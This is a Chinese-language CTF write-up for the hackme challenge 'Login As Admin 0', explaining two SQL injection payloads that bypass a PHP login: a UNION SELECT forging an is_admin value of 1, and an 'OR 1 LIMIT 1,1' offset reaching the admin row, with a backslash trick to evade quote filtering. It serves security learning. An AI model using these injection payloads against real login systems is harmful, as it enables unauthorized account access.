1. 程式人生 > >hackme_Login As Admin 0

hackme_Login As Admin 0

先上payload, 再說原理

1、

Username:\' union select 1,1,1,1#

Password:a

2、

Username:\' or 1 limit1,1#

Password:a

 

下面是分析講解:

首先,點選Source Code按鈕檢視原始碼

可以得到以下資訊:

1、過濾了單引號,可以用\'來繞過濾

2、user表中四個列:id,user,pass,is_admin

3、SQL語句:

$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password']);

4、Password不能為空

一、Payload1分析:

  我們的目的是以admin身份登入,那麼伺服器如何來判斷我們是不是admin呢?

拉到最後來看:

可以看到,最重要的是就是is_admin這個欄位,所以我們來進行變數覆蓋注入(我自己取的名字、、請大佬指正)

 

padload提交後,提交的SQL語句是:

SELECT * FROM 'user' WHERE 'user' = '' union select 1,1,1,1 # AND `password` = 'a';

執行的是:

SELECT 1,1,1,1 FROM ’user‘;

那我們得到了一個$user的例項,其中最關鍵的就是第4個變數值是1

 

二、Payload2分析:

第二種其實也是老套路,我管他叫“限制查詢注入”(自己取的名字、、請大佬指正)

首先構造Payload:

Username:\' or 1#

Password:a

  這句話提交上去相當於:

  SELECT * FROM 'user' WHERE 1

  顯然,我們會得到整個user表。

  

  但是隻有整張表的第一個會被驗證,所以這個payload提交上去發現我們不是管理員而是guest,猜想admin應該是在下一條資料

  所以我們讓offset=1,構造payload:

  Username:\' or 1 limit 1,1#

  Password:a